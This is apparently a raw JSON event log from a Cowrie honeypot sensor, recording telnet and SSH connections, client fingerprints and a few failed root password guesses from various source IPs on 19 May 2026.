{"eventid":"cowrie.session.closed","duration":34.76103448867798,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:57.989954Z","src_ip":"192.119.13.58","session":"74caae54a9d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.731194496154785,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:58.584206Z","src_ip":"192.119.13.58","session":"8a14ba5b8461","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34636,"dst_ip":"10.17.0.5","dst_port":23,"session":"e30655c1bcc6","protocol":"telnet","message":"New connection: 192.119.13.58:34636 (10.17.0.5:23) [session: e30655c1bcc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:00.421160Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39828,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e98f7e44ed8","protocol":"telnet","message":"New connection: 192.119.13.58:39828 (10.17.0.5:23) [session: 7e98f7e44ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:02.191954Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50966,"dst_ip":"10.17.0.5","dst_port":23,"session":"de84c65331b6","protocol":"telnet","message":"New connection: 192.119.13.58:50966 (10.17.0.5:23) [session: de84c65331b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:06.898183Z"}
{"eventid":"cowrie.session.closed","duration":34.204312324523926,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:12.771790Z","src_ip":"192.119.13.58","session":"990e0fde393d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44996,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c485ce2edc","protocol":"telnet","message":"New connection: 192.119.13.58:44996 (10.17.0.5:23) [session: 22c485ce2edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:13.578430Z"}
{"eventid":"cowrie.session.closed","duration":44.90525937080383,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:19.615706Z","src_ip":"192.119.13.58","session":"0dd9f81a7750","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":50092,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bfa3519970c","protocol":"ssh","message":"New connection: 62.133.62.83:50092 (159.203.135.109:22) [session: 4bfa3519970c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:20.593713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:20.598491Z","src_ip":"62.133.62.83","session":"4bfa3519970c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:20.679323Z","src_ip":"62.133.62.83","session":"4bfa3519970c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passion","message":"login attempt [root/passion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:20.917224Z","src_ip":"62.133.62.83","session":"4bfa3519970c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39906,"dst_ip":"10.17.0.5","dst_port":23,"session":"be0f11232332","protocol":"telnet","message":"New connection: 192.119.13.58:39906 (10.17.0.5:23) [session: be0f11232332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:21.481126Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:21.998179Z","src_ip":"62.133.62.83","session":"4bfa3519970c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.118818283081055,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:23.084008Z","src_ip":"192.119.13.58","session":"2b0eac104b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.49436688423157,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:24.744692Z","src_ip":"192.119.13.58","session":"a48cc65860eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.39797353744507,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:25.805144Z","src_ip":"192.119.13.58","session":"a8359d8bb9d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.728890895843506,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:28.248697Z","src_ip":"192.119.13.58","session":"59b17e7bdeb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.64966940879822,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:28.353980Z","src_ip":"192.119.13.58","session":"92a36aa92bd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.53064703941345,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:29.684829Z","src_ip":"192.119.13.58","session":"fa7e1d1903cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.81734919548035,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:30.554630Z","src_ip":"192.119.13.58","session":"7c2038de46a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.86255431175232,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:36.283577Z","src_ip":"192.119.13.58","session":"e30655c1bcc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.33789825439453,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:36.379661Z","src_ip":"192.119.13.58","session":"f5d9f5980bd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":45764,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa231b212ddc","protocol":"ssh","message":"New connection: 193.37.70.224:45764 (159.203.135.109:22) [session: aa231b212ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:36.608463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:36.613216Z","src_ip":"193.37.70.224","session":"aa231b212ddc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:36.704477Z","src_ip":"193.37.70.224","session":"aa231b212ddc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzzzz","message":"login attempt [root/zzzzz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:36.986107Z","src_ip":"193.37.70.224","session":"aa231b212ddc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34974,"dst_ip":"10.17.0.5","dst_port":23,"session":"58be28e44b0b","protocol":"telnet","message":"New connection: 192.119.13.58:34974 (10.17.0.5:23) [session: 58be28e44b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:37.486853Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:38.082020Z","src_ip":"193.37.70.224","session":"aa231b212ddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.10468816757202,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:38.368472Z","src_ip":"192.119.13.58","session":"6ae102ae7290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44454,"dst_ip":"10.17.0.5","dst_port":23,"session":"74fe3245c884","protocol":"telnet","message":"New connection: 192.119.13.58:44454 (10.17.0.5:23) [session: 74fe3245c884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:40.389124Z"}
{"eventid":"cowrie.session.closed","duration":36.07981610298157,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:42.977882Z","src_ip":"192.119.13.58","session":"de84c65331b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46038,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad538e9ca488","protocol":"telnet","message":"New connection: 192.119.13.58:46038 (10.17.0.5:23) [session: ad538e9ca488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:50.033735Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51652,"dst_ip":"10.17.0.5","dst_port":23,"session":"57cdba9d9a35","protocol":"telnet","message":"New connection: 192.119.13.58:51652 (10.17.0.5:23) [session: 57cdba9d9a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:50.633033Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":60864,"dst_ip":"159.203.135.109","dst_port":22,"session":"c32f605abd90","protocol":"ssh","message":"New connection: 103.15.222.183:60864 (159.203.135.109:22) [session: c32f605abd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:52.483998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:52.487424Z","src_ip":"103.15.222.183","session":"c32f605abd90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:52.805957Z","src_ip":"103.15.222.183","session":"c32f605abd90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raduga","message":"login attempt [root/raduga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:53.720401Z","src_ip":"103.15.222.183","session":"c32f605abd90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38140,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0b13fab464d","protocol":"telnet","message":"New connection: 192.119.13.58:38140 (10.17.0.5:23) [session: e0b13fab464d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:54.851183Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:55.029777Z","src_ip":"103.15.222.183","session":"c32f605abd90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.03212785720825,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:06:57.223952Z","src_ip":"192.119.13.58","session":"7e98f7e44ed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60642,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d4bc9e15ee0","protocol":"telnet","message":"New connection: 192.119.13.58:60642 (10.17.0.5:23) [session: 5d4bc9e15ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:01.013193Z"}
{"eventid":"cowrie.session.closed","duration":42.82304811477661,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:04.304042Z","src_ip":"192.119.13.58","session":"be0f11232332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.89607834815979,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:04.474429Z","src_ip":"192.119.13.58","session":"22c485ce2edc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.70334315299988,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:14.190082Z","src_ip":"192.119.13.58","session":"58be28e44b0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34848,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd7283fe9343","protocol":"telnet","message":"New connection: 192.119.13.58:34848 (10.17.0.5:23) [session: fd7283fe9343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:16.962833Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":60074,"dst_ip":"10.17.0.5","dst_port":22,"session":"42e85e7ef2a4","protocol":"ssh","message":"New connection: 80.94.92.168:60074 (10.17.0.5:22) [session: 42e85e7ef2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:17.503020Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:17.615449Z","src_ip":"80.94.92.168","session":"42e85e7ef2a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38246,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b1623970344","protocol":"telnet","message":"New connection: 192.119.13.58:38246 (10.17.0.5:23) [session: 7b1623970344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:17.857743Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41906,"dst_ip":"10.17.0.5","dst_port":23,"session":"27a17f0e7bee","protocol":"telnet","message":"New connection: 192.119.13.58:41906 (10.17.0.5:23) [session: 27a17f0e7bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:18.785642Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43452,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ada4dd54d55","protocol":"telnet","message":"New connection: 192.119.13.58:43452 (10.17.0.5:23) [session: 6ada4dd54d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:19.189938Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52218,"dst_ip":"10.17.0.5","dst_port":23,"session":"bff5285f5e5e","protocol":"telnet","message":"New connection: 192.119.13.58:52218 (10.17.0.5:23) [session: bff5285f5e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:21.636089Z"}
{"eventid":"cowrie.session.closed","duration":42.049116134643555,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:22.438123Z","src_ip":"192.119.13.58","session":"74fe3245c884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39376,"dst_ip":"10.17.0.5","dst_port":23,"session":"e97ae9f20070","protocol":"telnet","message":"New connection: 192.119.13.58:39376 (10.17.0.5:23) [session: e97ae9f20070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:25.753650Z"}
{"eventid":"cowrie.session.closed","duration":39.1835560798645,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:29.217180Z","src_ip":"192.119.13.58","session":"ad538e9ca488","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.242873191833496,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:31.093930Z","src_ip":"192.119.13.58","session":"e0b13fab464d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.77533936500549,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:33.408251Z","src_ip":"192.119.13.58","session":"57cdba9d9a35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51014,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c4a92be949c","protocol":"telnet","message":"New connection: 192.119.13.58:51014 (10.17.0.5:23) [session: 7c4a92be949c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:36.880980Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33542,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdf2a7b0f9d3","protocol":"telnet","message":"New connection: 192.119.13.58:33542 (10.17.0.5:23) [session: bdf2a7b0f9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:39.818172Z"}
{"eventid":"cowrie.session.closed","duration":46.73375344276428,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:47.746807Z","src_ip":"192.119.13.58","session":"5d4bc9e15ee0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":58094,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f5d1644484c","protocol":"ssh","message":"New connection: 147.45.199.80:58094 (10.17.0.5:22) [session: 5f5d1644484c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:50.889207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:50.894684Z","src_ip":"147.45.199.80","session":"5f5d1644484c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:50.994374Z","src_ip":"147.45.199.80","session":"5f5d1644484c","protocol":"ssh"}
